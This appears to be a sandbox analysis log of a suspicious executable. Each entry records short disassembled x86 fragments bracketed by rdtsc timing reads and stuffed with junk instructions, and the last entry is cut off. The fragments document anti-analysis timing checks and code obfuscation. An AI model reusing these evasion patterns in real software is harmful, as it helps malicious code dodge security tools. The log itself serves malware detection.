Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57FAFB second address: 57FB81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F3DB4B27726h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e ja 00007F3DB4B27735h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 jmp 00007F3DB4B27733h 0x0000001d mov eax, dword ptr [eax] 0x0000001f jp 00007F3DB4B27731h 0x00000025 jmp 00007F3DB4B2772Bh 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e push esi 0x0000002f pushad 0x00000030 pushad 0x00000031 popad 0x00000032 jp 00007F3DB4B27726h 0x00000038 popad 0x00000039 pop esi 0x0000003a pop eax 0x0000003b jo 00007F3DB4B2772Ch 0x00000041 sub dword ptr [ebp+122D1CD5h], ebx 0x00000047 adc edi, 13676966h 0x0000004d lea ebx, dword ptr [ebp+12454604h] 0x00000053 mov dword ptr [ebp+122D1CBEh], ebx 0x00000059 xchg eax, ebx 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d jl 00007F3DB4B27726h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 592580 second address: 592584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 592584 second address: 59258A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59258A second address: 59258F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59F5C2 second address: 59F5DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DB4B27730h 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571BC7 second address: 571BCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571BCF second address: 571BDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 js 00007F3DB4B27732h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59DE01 second address: 59DE05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E4CD second address: 59E4DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3DB4B27726h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A591A second address: 5A5920 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A4799 second address: 5A479D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A479D second address: 5A47A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A47A1 second address: 5A47A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A47A7 second address: 5A47AC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A4FAC second address: 5A4FB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6011 second address: 5A6015 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6015 second address: 5A6019 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6019 second address: 5A6036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3DB4EC7BB4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6036 second address: 5A603B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A603B second address: 5A6062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push esi 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 pop esi 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 push esi 0x00000017 pushad 0x00000018 popad 0x00000019 pop esi 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F3DB4EC7BABh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A61F6 second address: 5A61FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7313 second address: 5A731A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5735D2 second address: 5735D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ABC6D second address: 5ABC7C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 js 00007F3DB4EC7BA6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop esi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB51D second address: 5AB533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d popad 0x0000000e jnp 00007F3DB4B27726h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB861 second address: 5AB886 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BB2h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F3DB4EC7BADh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB886 second address: 5AB88A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AC441 second address: 5AC446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AC446 second address: 5AC45A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AC913 second address: 5AC919 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ACB2C second address: 5ACB35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ACC16 second address: 5ACC1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ACC1A second address: 5ACC28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ACC28 second address: 5ACC2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ACC2C second address: 5ACC32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ACC32 second address: 5ACC38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AD0A8 second address: 5AD0AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AD4AD second address: 5AD4C9 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3DB4EC7BACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AD5B4 second address: 5AD5BA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AD68D second address: 5AD6B7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3DB4EC7BACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jp 00007F3DB4EC7BA6h 0x00000013 jmp 00007F3DB4EC7BACh 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push esi 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56485E second address: 56488C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B27734h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F3DB4B27730h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56488C second address: 564891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AF234 second address: 5AF23A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B0C8A second address: 5B0C8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B0C8F second address: 5B0D2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F3DB4B27726h 0x00000009 jmp 00007F3DB4B27735h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007F3DB4B27728h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 0000001Dh 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 push esi 0x00000031 xor edi, dword ptr [ebp+122D3AF3h] 0x00000037 pop edi 0x00000038 call 00007F3DB4B27734h 0x0000003d mov edi, dword ptr [ebp+122D3BF3h] 0x00000043 pop esi 0x00000044 push 00000000h 0x00000046 push 00000000h 0x00000048 push edi 0x00000049 call 00007F3DB4B27728h 0x0000004e pop edi 0x0000004f mov dword ptr [esp+04h], edi 0x00000053 add dword ptr [esp+04h], 00000016h 0x0000005b inc edi 0x0000005c push edi 0x0000005d ret 0x0000005e pop edi 0x0000005f ret 0x00000060 jg 00007F3DB4B27728h 0x00000066 push eax 0x00000067 push edi 0x00000068 push edi 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B336A second address: 5B3370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3D81 second address: 5B3D86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3D86 second address: 5B3DA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3DB4EC7BB5h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6A48 second address: 5B6A4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7178 second address: 5B717E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B91B5 second address: 5B91B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B717E second address: 5B71F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ebp 0x00000009 call 00007F3DB4EC7BA8h 0x0000000e pop ebp 0x0000000f mov dword ptr [esp+04h], ebp 0x00000013 add dword ptr [esp+04h], 0000001Dh 0x0000001b inc ebp 0x0000001c push ebp 0x0000001d ret 0x0000001e pop ebp 0x0000001f ret 0x00000020 mov bx, F3C2h 0x00000024 push dword ptr fs:[00000000h] 0x0000002b mov ebx, dword ptr [ebp+122D388Bh] 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 mov eax, dword ptr [ebp+122D0B1Dh] 0x0000003e push 00000000h 0x00000040 push eax 0x00000041 call 00007F3DB4EC7BA8h 0x00000046 pop eax 0x00000047 mov dword ptr [esp+04h], eax 0x0000004b add dword ptr [esp+04h], 00000015h 0x00000053 inc eax 0x00000054 push eax 0x00000055 ret 0x00000056 pop eax 0x00000057 ret 0x00000058 adc bl, 00000060h 0x0000005b mov edi, 6738AC27h 0x00000060 push FFFFFFFFh 0x00000062 and edi, 2E48AF1Ah 0x00000068 nop 0x00000069 pushad 0x0000006a pushad 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B91B9 second address: 5B9247 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B27739h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F3DB4B27739h 0x0000000f jmp 00007F3DB4B27733h 0x00000014 popad 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007F3DB4B27728h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 push 00000000h 0x00000032 mov dword ptr [ebp+122D1DDBh], edx 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push edi 0x0000003d call 00007F3DB4B27728h 0x00000042 pop edi 0x00000043 mov dword ptr [esp+04h], edi 0x00000047 add dword ptr [esp+04h], 00000019h 0x0000004f inc edi 0x00000050 push edi 0x00000051 ret 0x00000052 pop edi 0x00000053 ret 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 jc 00007F3DB4B27728h 0x0000005d push edx 0x0000005e pop edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9247 second address: 5B924C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B924C second address: 5B9252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BA331 second address: 5BA337 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9371 second address: 5B9376 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BA337 second address: 5BA3C7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3DB4EC7BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jbe 00007F3DB4EC7BB8h 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F3DB4EC7BA8h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e jmp 00007F3DB4EC7BB5h 0x00000033 mov bx, BA4Ah 0x00000037 push 00000000h 0x00000039 sbb edi, 603ECF05h 0x0000003f push 00000000h 0x00000041 push edi 0x00000042 mov dword ptr [ebp+122D5A84h], edx 0x00000048 pop edi 0x00000049 xchg eax, esi 0x0000004a jmp 00007F3DB4EC7BB3h 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BA3C7 second address: 5BA3CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9449 second address: 5B9454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC3D6 second address: 5BC3E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F3DB4B2772Eh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BA610 second address: 5BA615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC3E8 second address: 5BC40F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F3DB4B2773Dh 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BA615 second address: 5BA62D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DB4EC7BB4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC40F second address: 5BC422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 jmp 00007F3DB4B2772Ah 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC422 second address: 5BC427 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC9B2 second address: 5BC9F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jne 00007F3DB4B27726h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F3DB4B27728h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 push 00000000h 0x00000029 mov edi, dword ptr [ebp+122D398Bh] 0x0000002f push 00000000h 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC9F3 second address: 5BC9F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC9F7 second address: 5BC9FD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BDA75 second address: 5BDA88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jno 00007F3DB4EC7BA6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BEB19 second address: 5BEB1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BEB1D second address: 5BEB26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BEBA9 second address: 5BEBD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B27731h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3DB4B27732h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BDC8C second address: 5BDC90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BDC90 second address: 5BDCA7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3DB4B27726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3DB4B2772Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BDCA7 second address: 5BDCB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C30A3 second address: 5C3133 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B27735h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c jp 00007F3DB4B27726h 0x00000012 pop ecx 0x00000013 jmp 00007F3DB4B27731h 0x00000018 popad 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F3DB4B27728h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 jno 00007F3DB4B2772Ch 0x0000003a push 00000000h 0x0000003c call 00007F3DB4B27733h 0x00000041 and bx, 8BC2h 0x00000046 pop ebx 0x00000047 push 00000000h 0x00000049 or dword ptr [ebp+122D5A89h], esi 0x0000004f xchg eax, esi 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3133 second address: 5C3137 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3137 second address: 5C313D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C41C9 second address: 5C422A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a cld 0x0000000b jmp 00007F3DB4EC7BAAh 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F3DB4EC7BA8h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c sub dword ptr [ebp+12458764h], esi 0x00000032 push ebx 0x00000033 mov ebx, edi 0x00000035 pop edi 0x00000036 push 00000000h 0x00000038 sub dword ptr [ebp+122D29A2h], ecx 0x0000003e xchg eax, esi 0x0000003f jmp 00007F3DB4EC7BAFh 0x00000044 push eax 